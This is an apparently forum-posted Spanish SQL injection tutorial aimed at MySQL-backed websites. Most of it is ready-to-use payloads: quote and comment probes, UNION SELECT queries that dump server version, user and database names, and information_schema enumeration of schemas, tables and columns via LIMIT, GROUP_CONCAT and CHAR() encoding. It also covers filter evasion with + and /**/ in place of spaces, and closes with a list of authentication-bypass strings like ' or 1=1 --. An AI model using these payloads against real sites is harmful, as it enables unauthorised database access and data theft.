Pagina vulnerable.
¿como saberlo? Existes varias forma la mas común es usar la comilla simple ‘ en varias paginas esto no funcionara así que también podemos usar:
Código: Seleccionar todo
'
)
--
-- -
/*
and 2=9
Código: Seleccionar todo
'))--
and 8=3 --
") )
etc…
en este sentido existes muchas maneras de hacerlo en algunas ocasiones podemos darnos el lujo de usar la que mas nos guste en otras por cuestiones de filtros o por la “seguridad” de la pagina tendremos que usar alguna que para el caso nos funcione.
Datos útiles.
Podemos usar los que a continuación pondré para poder saber algunos datos que nos ayudaran bastante.
Código: Seleccionar todo
version() - versión del servidor MySQL.
database() - nombre de la base de datos actual.
@@datadir - directorio de la base de datos.
current_user() - nombre de usuario y el del host para el que está autentificada la conexión actual.
connection_id() - ID de una conexión.
y se usaría así mas o menos:
Código: Seleccionar todo
-1 UNION ALL SELECT 1,VERSION()
usando CONCAT_WS para que nos muestre todo lo que queramos de una vez:
-1 UNION SELECT 1,CONCAT_WS(CHAR(42),VERSION(),DATABASE(),CURRENT_USER())
el resultado aparecería separado por * (asterisco) CHAR(42) equivale a *.
Illegal mix of collations…
¿como evitarlo?
Código: Seleccionar todo
aes_decrypt(aes_encrypt(,1),1)
convert( using latin1)
unhex(hex())
Código: Seleccionar todo
-1 UNION ALL SELECT 1,aes_decrypt(aes_encrypt(VERSION(),1),1)
-1 UNION ALL SELECT 1,convert(VERSION() using latin1)
-1 UNION ALL SELECT 1, unhex(hex(VERSION()))
MySQL 5.
Código: Seleccionar todo
-1 UNION ALL SELECT 1,table_name FROM information_schema.tables
Si esa consulta no regresa al nombre de alguna tabla entonces vamos bien.
Código: Seleccionar todo
-1 UNION ALL SELECT TABLE_SCHEMA,table_name FROM information_schema.tables
Debería regresarnos el nombre de una tabla y el nombre “information_schema”. Cone sto tenemos el nombre de la primera tabla information_schema.
Código: Seleccionar todo
-1 UNION ALL SELECT TABLE_SCHEMA,table_name FROM information_schema.tables WHERE TABLE_SCHEMA NOT IN ("information_schema")
nos regresaría el nombre de otra base de datos lo que tendríamos que hacer continuación para seguir sacando las demás bases de datos seria ir agregando las que vallan saliendo de esta forma:
Código: Seleccionar todo
-1 UNION ALL SELECT TABLE_SCHEMA,table_name FROM information_schema.tables WHERE TABLE_SCHEMA NOT IN ("information_schema","dbtest")
Donde dbtest es la otra base de datos que encontramos, iremos agregando hasta que ya no saque mas entonces quiere decir que ya las tenemos todas.
Sacando tabla y columna de alguna de las bases de datos que obtuvimos:
Código: Seleccionar todo
-1 UNION ALL SELECT TABLE_NAME,COLUMN_NAME FROM information_schema.columns WHERE TABLE_SCHEMA = "dbtest"
Y nos tendría que dar el nombre de una tabla y una columna, suponiendo que la tabla que nos dios y la columnas son Admin e id:
Código: Seleccionar todo
-1UNION ALL SELECT TABLE_NAME,COLUMN_NAME FROM information_schema.columns WHERE TABLE_SCHEMA = "dbtest" AND TABLE_NAME = "Admin" AND COLUMN_NAME NOT IN ("id")
aquí haríamos lo mismo que hicimos con las bases de datos solo iríamos agregando las columnas que nos salieron has que no salga ninguna.
Usando Limit.
Código: Seleccionar todo
-1 UNION ALL SELECT 1,SCHEMA_NAME,3 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1
Obtendríamos la primera base de datos, pa ir sacando solo es cuestión de ir aumentado el número:
Código: Seleccionar todo
-1 UNION ALL SELECT 1,SCHEMA_NAME,3 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 2,1
-1 UNION ALL SELECT 1,SCHEMA_NAME,3 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 3,1
etc…
Cuando ya no nos regrese nada entonces ya tendremos todas las bases de datos, las tablas:
Código: Seleccionar todo
-1 UNION ALL SELECT 1,TABLE_NAME,3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=”base_de_datos” limit 1,1
ejemplo:
Código: Seleccionar todo
-1 UNION ALL SELECT 1,TABLE_NAME,3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="dbtest" limit 1,1
esto funciona igual que lo anterior solo se va incrementando el numero, columnas:
Código: Seleccionar todo
-1 UNION ALL SELECT 1,COLUMN_NAME,3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="nombre_de_la_tabla" limit 1,1
Código: Seleccionar todo
-1 UNION ALL SELECT 1,COLUMN_NAME,3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="Admin" limit 1,1
Código: Seleccionar todo
-1 UNION ALL SELECT 1,COLUMN_NAME,3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=CHAR(65,100,109,105,110) limit 1,1
CHAR(65,100,109,105,110) equivale a Admin
Código: Seleccionar todo
-1 UNION ALL SELECT 1,TABLE_NAME,3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=CHAR(100,98,116,101,115,116) limit 1,1
CHAR(100,98,116,101,115,116) equivale a dbtest
Usando GROUP_CONCAT.
Para sacar las bases de datos:
Código: Seleccionar todo
-1 UNION SELECT 1,GROUP_CONCAT(SCHEMA_NAME),3 FROM INFORMATION_SCHEMA.SCHEMATA
Código: Seleccionar todo
-1 UNION ALL SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="NOMBRE_BASE_DE_DATOS"
Para las columnas:
Código: Seleccionar todo
-1 UNION ALL SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="NOMBRE_DE_LA_TABLA"
+ y /**/.
Son representación de espacio se usan de la siguiente forma:
Código: Seleccionar todo
-1+UNION+ALL+SELECT+1,GROUP_CONCAT(TABLE_NAME),3+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA="NOMBRE_BASE_DE_DATOS"
Código: Seleccionar todo
-1/**/UNION/**/ALL/**/SELECT/**/1,GROUP_CONCAT(TABLE_NAME),3/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/WHERE/**/TABLE_SCHEMA="NOMBRE_BASE_DE_DATOS"
El clásico USER/PASS, ¿podemos entrar sin saber los datos correctos?.
Si es vulnerable claro que si podemos intentar con cualquiera de las siguientes:
Código: Seleccionar todo
' or 1=1 or ''='
' OR ''='
' or 1=1 --
' or 1=1#
' or 1=1/*
' OR 1=1
') or '1'='1--
" OR 1=1 –
') or ('1'='1--
'OR 'x'='x
" or 1=1--
OR true—
or 1=1—
Saludos.